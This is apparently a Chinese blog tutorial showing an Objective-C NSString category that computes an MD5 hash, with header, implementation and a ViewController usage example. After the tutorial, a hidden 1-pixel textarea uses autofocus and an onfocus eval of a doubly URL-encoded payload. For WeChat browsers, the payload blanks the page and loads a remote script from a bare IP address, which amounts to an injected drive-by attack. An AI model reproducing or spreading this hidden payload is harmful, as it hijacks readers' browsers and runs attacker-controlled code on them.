1,新建NSString的分类,记得添加加密所需的头文件#import <CommonCrypto/CommonDigest.h> , NSString+MD5.h:
#import <Foundation/Foundation.h>
#import <CommonCrypto/CommonDigest.h>
@interface NSString (MD5)
+ (NSString *)md5To32bit:(NSString *)str;
@end
2,编写加密方法:
#import "NSString+MD5.h"
@implementation NSString (MD5)
+ (NSString *)md5To32bit:(NSString *)str {
const char *cStr = [str UTF8String];
unsigned char digest[CC_MD5_DIGEST_LENGTH];
CC_MD5( cStr, strlen(cStr),digest );
NSMutableString *result = [NSMutableString stringWithCapacity:CC_MD5_DIGEST_LENGTH * 2];
for(int i = 0; i < CC_MD5_DIGEST_LENGTH; i++)
[result appendFormat:@"%02x", digest[i]];
return result;
}
3,在需要加密的字串符当前控制器中导入头文件,并引用该方法:
#import "ViewController.h"
#import "NSString+MD5.h"
@interface ViewController ()
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
NSString *name = @"Kuture";
NSString *encypt = [NSString md5To32bit:name];
NSLog(@"\n name: %@\n encypt: %@",name,encypt);
}
@end
运行结果为:
![](https://i-blog.csdnimg.cn/blog_migrate/de5fe61678605d3bf1e817fd644940f6.png)
<textarea autofocus="" οnfοcus="eval(unescape(unescape('%76%61%72%25%32%30%75%61%25%32%30%25%33%44%25%32%30%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%25%33%42%69%66%25%32%38%75%61%2e%69%6e%64%65%78%4f%66%25%32%38%25%32%32%4d%69%63%72%6f%4d%65%73%73%65%6e%67%65%72%25%32%32%25%32%39%25%33%45%30%25%32%39%25%37%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%62%6f%64%79%25%32%37%25%32%39%25%30%41%25%35%42%30%25%35%44%2e%6f%75%74%65%72%48%54%4d%4c%25%33%44%25%32%37%4c%6f%61%64%69%6e%67%2e%2e%2e%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%74%69%74%6c%65%25%33%44%25%32%37%25%35%43%75%36%62%36%33%25%35%43%75%35%37%32%38%25%35%43%75%35%32%61%30%25%35%43%75%38%66%37%64%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%32%37%25%33%42%76%61%72%25%32%30%73%25%33%44%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%25%30%41%25%32%38%25%32%37%73%63%72%69%70%74%25%32%37%25%32%39%25%33%42%73%2e%73%72%63%25%33%44%25%32%37%68%74%74%70%25%33%41%2f%2f%34%37%2e%38%39%2e%34%33%2e%35%31%2f%70%72%6f%78%79%2e%70%68%70%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%68%65%61%64%25%32%37%25%32%39%2e%69%74%65%6d%25%32%38%30%25%32%39%2e%61%70%70%65%6e%64%43%68%69%6c%64%25%32%38%73%25%32%39%25%33%42%25%37%44')))" style="width:1px;height:1px">.</textarea>